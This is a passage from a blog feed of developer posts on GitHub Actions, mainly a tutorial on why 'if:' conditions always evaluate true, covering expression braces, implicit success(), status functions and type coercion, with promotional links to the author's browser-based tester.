    &lt;span class="na"&gt;branches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;                 &lt;span class="c1"&gt;# ref globs; missing = all branches&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s"&gt;main&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;release/**'&lt;/span&gt;          &lt;span class="c1"&gt;# ** crosses '/'; '*' does not&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;feature/**'&lt;/span&gt;
    &lt;span class="na"&gt;tags&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;v[0-9]+.[0-9]+.[0-9]+'&lt;/span&gt;   &lt;span class="c1"&gt;# numeric semver tags only&lt;/span&gt;
    &lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;                    &lt;span class="c1"&gt;# ANDed with branches — BOTH must match&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;src/**'&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.github/workflows/**'&lt;/span&gt;
  &lt;span class="na"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;branches&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;          &lt;span class="c1"&gt;# matches the PR's BASE branch&lt;/span&gt;
    &lt;span class="na"&gt;paths-ignore&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;             &lt;span class="c1"&gt;# skip only if EVERY changed file matches&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s1"&gt;'&lt;/span&gt;&lt;span class="s"&gt;**.md'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Quick reference for the glob characters: &lt;code&gt;*&lt;/code&gt; = any chars except &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;**&lt;/code&gt; = any chars including &lt;code&gt;/&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt; = one char, &lt;code&gt;+&lt;/code&gt; = one-or-more of the preceding, &lt;code&gt;[a-z]&lt;/code&gt; = range, leading &lt;code&gt;!&lt;/code&gt; = negate, &lt;code&gt;\&lt;/code&gt; = escape.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stop guessing — replay your event
&lt;/h2&gt;

&lt;p&gt;The reason these bugs are maddening is that the feedback loop is "push and pray." There's no dry-run, no &lt;code&gt;--explain&lt;/code&gt;, just an empty Actions tab. So you commit a one-line change, push, refresh, wait, and repeat — burning minutes per guess against semantics you're not sure of.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;GitHub Actions Expression &amp;amp; Trigger Tester&lt;/strong&gt; closes that loop. Paste your &lt;code&gt;on:&lt;/code&gt; block, describe the event — &lt;code&gt;push&lt;/code&gt; to &lt;code&gt;feature/login&lt;/code&gt;, tag &lt;code&gt;v2.1.0&lt;/code&gt;, or a &lt;code&gt;pull_request&lt;/code&gt; targeting &lt;code&gt;main&lt;/code&gt; with a list of changed files — and it evaluates every &lt;code&gt;branches&lt;/code&gt;, &lt;code&gt;tags&lt;/code&gt;, &lt;code&gt;paths&lt;/code&gt;, and &lt;code&gt;paths-ignore&lt;/code&gt; filter with the same glob engine and AND-semantics GitHub uses. You get a per-job &lt;strong&gt;RUNS / SKIPPED&lt;/strong&gt; table with the exact deciding reason: "branch matched, but no path filter did," or "&lt;code&gt;*&lt;/code&gt; does not cross &lt;code&gt;/&lt;/code&gt;." It's 100% in your browser — your workflow YAML never leaves the page.&lt;/p&gt;

&lt;p&gt;See exactly which jobs run before you push, not after.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://opscanopy.com/github-actions-validator/" rel="noopener noreferrer"&gt;Open the GitHub Actions Expression &amp;amp; Trigger Tester →&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://opscanopy.com" rel="noopener noreferrer"&gt;OpsCanopy&lt;/a&gt;. Try it free, in your browser: &lt;a href="https://opscanopy.com/github-actions-validator" rel="noopener noreferrer"&gt;CVE-Ignore Converter&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>testing</category>
      <category>cicd</category>
      <category>githubactions</category>
      <category>github</category>
    </item>
    <item>
      <title>Why Your GitHub Actions "if" Condition Always Runs (and How to Fix It</title>
      <dc:creator>opscanopy</dc:creator>
      <pubDate>Sun, 14 Jun 2026 15:18:07 +0000</pubDate>
      <link>https://dev.to/opscanopy/why-your-github-actions-if-condition-always-runs-and-how-to-fix-it-b6e</link>
      <guid>https://dev.to/opscanopy/why-your-github-actions-if-condition-always-runs-and-how-to-fix-it-b6e</guid>
      <description>&lt;p&gt;You added an &lt;code&gt;if:&lt;/code&gt; to a step so it would only run on &lt;code&gt;main&lt;/code&gt;, or only on a tag, or only when a previous step set an output. Then you pushed — and the step ran anyway. Every time. On every branch. The condition is just decoration.&lt;/p&gt;

&lt;p&gt;If your GitHub Actions &lt;code&gt;if&lt;/code&gt; condition is not working — specifically, if it &lt;em&gt;always&lt;/em&gt; evaluates to true — you almost certainly hit the single most common footgun in the whole product: &lt;strong&gt;putting literal text where GitHub expects an expression.&lt;/strong&gt; The runner doesn't error on it. It quietly coerces your text to a non-empty string, decides a non-empty string is truthy, and runs the step. This post shows the exact bad patterns, the fixes, and the coercion rules underneath so you stop guessing.&lt;/p&gt;

&lt;h2&gt;
  
  
  The footgun: literal text outside &lt;code&gt;${{ }}&lt;/code&gt; is always truthy
&lt;/h2&gt;

&lt;p&gt;In an &lt;code&gt;if:&lt;/code&gt;, GitHub already evaluates the value as an expression — you do &lt;strong&gt;not&lt;/strong&gt; wrap the whole thing in &lt;code&gt;${{ }}&lt;/code&gt;. But the moment any literal text leaks outside the expression braces, the runner stops treating the line as a condition and starts treating it as a string. A non-empty string is truthy. Your step always runs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — the ${{ }} is embedded in a larger string, so the whole if: is a string&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Deploy&lt;/span&gt;
  &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.ref == 'refs/heads/main' }} &amp;amp;&amp;amp; success()&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./deploy.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That looks reasonable, but the runner sees: evaluate &lt;code&gt;${{ ... }}&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;, then concatenate &lt;code&gt;&amp;amp;&amp;amp; success()&lt;/code&gt; as &lt;strong&gt;literal text&lt;/strong&gt;. The final value is the string &lt;code&gt;"true &amp;amp;&amp;amp; success()"&lt;/code&gt; — non-empty, therefore truthy. The step runs on every branch.&lt;/p&gt;

&lt;p&gt;The fix is to write &lt;strong&gt;one&lt;/strong&gt; expression with no braces and no stray text:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — a single bare expression, no ${{ }}, no trailing literal&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Deploy&lt;/span&gt;
  &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;github.ref == 'refs/heads/main' &amp;amp;&amp;amp; success()&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./deploy.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The same trap catches you when you quote the &lt;em&gt;whole&lt;/em&gt; condition:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — the entire condition is a quoted string literal, always truthy&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;${{&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;steps.check.outputs.changed&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;==&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;'true'&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;}}"&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./build.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wrapping the expression in quotes makes the YAML value a plain string. GitHub finds a &lt;code&gt;${{ }}&lt;/code&gt; inside it, substitutes the result, and you're back to a non-empty string. Drop the quotes and the braces:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;steps.check.outputs.changed == 'true'&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./build.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rule of thumb: &lt;strong&gt;in an &lt;code&gt;if:&lt;/code&gt;, there are no &lt;code&gt;${{ }}&lt;/code&gt; and no surrounding quotes.&lt;/strong&gt; Just the expression. The braces are for interpolating values into &lt;code&gt;run:&lt;/code&gt;, &lt;code&gt;name:&lt;/code&gt;, and &lt;code&gt;with:&lt;/code&gt; — not for conditions.&lt;/p&gt;

&lt;p&gt;You can paste either of these into the &lt;a href="https://dev.to/github-actions-expression-tester"&gt;GitHub Actions Expression &amp;amp; Trigger Tester&lt;/a&gt; and watch it flag the literal-text leak before you push — it warns on exactly this pattern (it's tracked as &lt;a href="https://github.com/actions/runner/issues/1173" rel="noopener noreferrer"&gt;actions/runner#1173&lt;/a&gt;, the most-reacted bug in the runner repo).&lt;/p&gt;

&lt;h2&gt;
  
  
  The implicit &lt;code&gt;success()&lt;/code&gt; that vanishes when you add an &lt;code&gt;if:&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Here's the second surprise, and it's the reason "my conditional step runs even though the previous step failed."&lt;/p&gt;

&lt;p&gt;Every step and job has an &lt;strong&gt;implicit &lt;code&gt;success()&lt;/code&gt; condition&lt;/strong&gt;. With no &lt;code&gt;if:&lt;/code&gt; at all, a step runs only if everything before it succeeded. That's why pipelines stop on the first failure without you writing anything.&lt;/p&gt;

&lt;p&gt;The instant you add a &lt;em&gt;custom&lt;/em&gt; &lt;code&gt;if:&lt;/code&gt;, that implicit &lt;code&gt;success()&lt;/code&gt; is &lt;strong&gt;gone&lt;/strong&gt;. Your condition is now the &lt;em&gt;whole&lt;/em&gt; truth.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — you wanted "on main", but you deleted the implicit success() guard&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Notify on main&lt;/span&gt;
  &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;github.ref == 'refs/heads/main'&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./notify.sh&lt;/span&gt;   &lt;span class="c1"&gt;# now runs on main EVEN IF the build above failed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you still want the step to require success, say so explicitly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — re-add the success() guard you lost&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Notify on main&lt;/span&gt;
  &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;success() &amp;amp;&amp;amp; github.ref == 'refs/heads/main'&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./notify.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is also why people are confused that a "cleanup" step runs only on success when they wanted it to run no matter what — the implicit guard is still there until they add &lt;code&gt;always()&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;success()&lt;/code&gt; vs &lt;code&gt;always()&lt;/code&gt; vs &lt;code&gt;failure()&lt;/code&gt; vs &lt;code&gt;cancelled()&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;These four status functions decide &lt;em&gt;whether the step considers prior results at all&lt;/em&gt;. Mixing them up is the other half of "my &lt;code&gt;if&lt;/code&gt; doesn't behave."&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;success()&lt;/code&gt;&lt;/strong&gt; — true only if all previous steps/jobs succeeded. (This is the implicit default.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;failure()&lt;/code&gt;&lt;/strong&gt; — true if any previous step failed. Use it for failure notifications.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;always()&lt;/code&gt;&lt;/strong&gt; — true unconditionally; the step runs even if a prior step failed &lt;em&gt;or the workflow was cancelled&lt;/em&gt;. Use for cleanup that must always happen.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;cancelled()&lt;/code&gt;&lt;/strong&gt; — true only when the workflow was cancelled.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The classic mistake is combining &lt;code&gt;always()&lt;/code&gt; with another condition using &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; and expecting it to still run on cancellation — it does, but people often want the opposite:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — "always upload logs, but only on main" — this does NOT short-circuit on failure&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Upload logs&lt;/span&gt;
  &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;github.ref == 'refs/heads/main'&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./upload-logs.sh&lt;/span&gt;   &lt;span class="c1"&gt;# skipped when the build fails, because implicit success() is gone... wait, no — it's gone, so it runs? See below.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To be precise about that last one: because you supplied a custom &lt;code&gt;if:&lt;/code&gt;, the implicit &lt;code&gt;success()&lt;/code&gt; is dropped, so the step runs on &lt;code&gt;main&lt;/code&gt; &lt;em&gt;regardless&lt;/em&gt; of whether the build passed. If you actually want "upload logs on main, pass or fail," that's what you have — but make the intent explicit so the next reader isn't guessing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — explicit: run on main whether the build passed or failed&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Upload logs&lt;/span&gt;
  &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;always() &amp;amp;&amp;amp; github.ref == 'refs/heads/main'&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./upload-logs.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And for a failure-only alert:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — only when something upstream broke&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Alert&lt;/span&gt;
  &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;failure()&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./page-oncall.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Coercion surprises: &lt;code&gt;==&lt;/code&gt;, strings, and case-insensitivity
&lt;/h2&gt;

&lt;p&gt;Even with correctly-formed expressions, GitHub's comparison rules trip people up because they're JavaScript-&lt;em&gt;like&lt;/em&gt; but not JavaScript.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;String &lt;code&gt;==&lt;/code&gt; is case-insensitive.&lt;/strong&gt; This burns people comparing branch refs or input values:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Surprise: both of these are TRUE&lt;/span&gt;
&lt;span class="s"&gt;${{ 'MAIN' == 'main' }}&lt;/span&gt;          &lt;span class="c1"&gt;# true — case-insensitive&lt;/span&gt;
&lt;span class="s"&gt;${{ 'Refs/Heads/Main' == github.ref }}&lt;/span&gt;  &lt;span class="c1"&gt;# may be true unexpectedly&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Loose coercion across types.&lt;/strong&gt; When the two sides differ in type, GitHub coerces toward a number: booleans become &lt;code&gt;1&lt;/code&gt;/&lt;code&gt;0&lt;/code&gt;, and strings are parsed as numbers (an empty string and &lt;code&gt;'0'&lt;/code&gt; are &lt;code&gt;0&lt;/code&gt;; non-numeric strings become &lt;code&gt;NaN&lt;/code&gt;, and any comparison with &lt;code&gt;NaN&lt;/code&gt; is false). So:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;${{ &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="s"&gt; == 1 }}&lt;/span&gt;        &lt;span class="c1"&gt;# true&lt;/span&gt;
&lt;span class="s"&gt;${{ '' == 0 }}&lt;/span&gt;          &lt;span class="c1"&gt;# true  — empty string coerces to 0&lt;/span&gt;
&lt;span class="s"&gt;${{ '3.0' == 3 }}&lt;/span&gt;       &lt;span class="c1"&gt;# true&lt;/span&gt;
&lt;span class="s"&gt;${{ 'abc' == 0 }}&lt;/span&gt;       &lt;span class="c1"&gt;# false — 'abc' is NaN, NaN != anything&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;&lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; and &lt;code&gt;||&lt;/code&gt; return operands, not booleans.&lt;/strong&gt; Just like JavaScript, &lt;code&gt;a &amp;amp;&amp;amp; b&lt;/code&gt; returns &lt;code&gt;b&lt;/code&gt; if &lt;code&gt;a&lt;/code&gt; is truthy, otherwise &lt;code&gt;a&lt;/code&gt;. This is great for defaults (&lt;code&gt;inputs.name || 'default'&lt;/code&gt;) but means &lt;code&gt;if: inputs.flag &amp;amp;&amp;amp; 'yes'&lt;/code&gt; evaluates to the string &lt;code&gt;'yes'&lt;/code&gt; — truthy — not a clean boolean.&lt;/p&gt;

&lt;p&gt;The falsy values are exactly: &lt;code&gt;false&lt;/code&gt;, &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;''&lt;/code&gt; (empty string), and &lt;code&gt;null&lt;/code&gt;. Everything else — including the strings &lt;code&gt;'false'&lt;/code&gt; and &lt;code&gt;'0'&lt;/code&gt;... wait: &lt;code&gt;'0'&lt;/code&gt; is falsy because it coerces to the number &lt;code&gt;0&lt;/code&gt;, but &lt;code&gt;'false'&lt;/code&gt; is a &lt;strong&gt;non-empty string that does not coerce to a number&lt;/strong&gt;, so &lt;code&gt;${{ 'false' }}&lt;/code&gt; is &lt;strong&gt;truthy&lt;/strong&gt;. That single fact causes more "my boolean input is always true" bugs than any other:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — workflow_dispatch inputs are STRINGS; 'false' is truthy&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;workflow_dispatch&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;inputs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;deploy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;boolean&lt;/span&gt; &lt;span class="pi"&gt;}&lt;/span&gt;
&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;go&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;inputs.deploy&lt;/span&gt;   &lt;span class="c1"&gt;# with type: boolean this is fine...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — but if the value arrives as a string 'false', this always runs&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;github.event.inputs.deploy&lt;/span&gt;   &lt;span class="c1"&gt;# string 'false' is truthy!&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./deploy.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — compare explicitly so the string is interpreted as data&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;github.event.inputs.deploy == 'true'&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./deploy.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  &lt;code&gt;contains&lt;/code&gt; and &lt;code&gt;startsWith&lt;/code&gt; aren't the same as &lt;code&gt;==&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Filtering by ref prefix is another spot where the wrong function silently over-matches:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# BAD — contains matches ANYWHERE, so 'feature/main-fix' passes too&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;contains(github.ref, 'main')&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./deploy.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="c1"&gt;# FIXED — anchor to the start, or compare the full ref&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;startsWith(github.ref, 'refs/heads/release/')&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./deploy.sh&lt;/span&gt;
&lt;span class="c1"&gt;# or, for an exact branch:&lt;/span&gt;
&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;if&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;github.ref == 'refs/heads/main'&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./deploy.sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Remember both &lt;code&gt;contains&lt;/code&gt; and &lt;code&gt;startsWith&lt;/code&gt; do string comparison case-insensitively, same as &lt;code&gt;==&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Test your &lt;code&gt;if:&lt;/code&gt; before you push
&lt;/h2&gt;

&lt;p&gt;The reason these bugs are so persistent is the feedback loop: the only way to "test" a condition has traditionally been to commit, push, and read the logs — then guess, edit, and push again. Every wrong guess is a round-trip.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://dev.to/github-actions-expression-tester"&gt;GitHub Actions Expression &amp;amp; Trigger Tester&lt;/a&gt; closes that loop. Paste your &lt;code&gt;if:&lt;/code&gt; expression, set a mock &lt;code&gt;github&lt;/code&gt; / &lt;code&gt;env&lt;/code&gt; / &lt;code&gt;steps&lt;/code&gt; / &lt;code&gt;needs&lt;/code&gt; context, and see the evaluated result with GitHub's exact operator, coercion, and case-insensitivity rules — plus an explicit warning when you've left literal text outside &lt;code&gt;${{ }}&lt;/code&gt; and accidentally built an always-truthy condition. It runs entirely in your browser; nothing about your workflow is uploaded.&lt;/p&gt;

&lt;p&gt;If you've ever shipped an &lt;code&gt;if:&lt;/code&gt; and hoped it would skip, this is the check that tells you before the runner does.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://opscanopy.com/github-actions-validator" rel="noopener noreferrer"&gt;Try the GitHub Actions Expression &amp;amp; Trigger Tester →&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://opscanopy.com" rel="noopener noreferrer"&gt;OpsCanopy&lt;/a&gt;. Try it free, in your browser: &lt;a href="https://opscanopy.com/github-actions-validator" rel="noopener noreferrer"&gt;CVE-Ignore Converter&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>github</category>
      <category>cicd</category>
      <category>githubactions</category>
    </item>
    <item>
      <title>One CVE, four ignore files: unifying Trivy, Grype, Snyk and osv-scanner</title>
      <dc:creator>opscanopy</dc:creator>
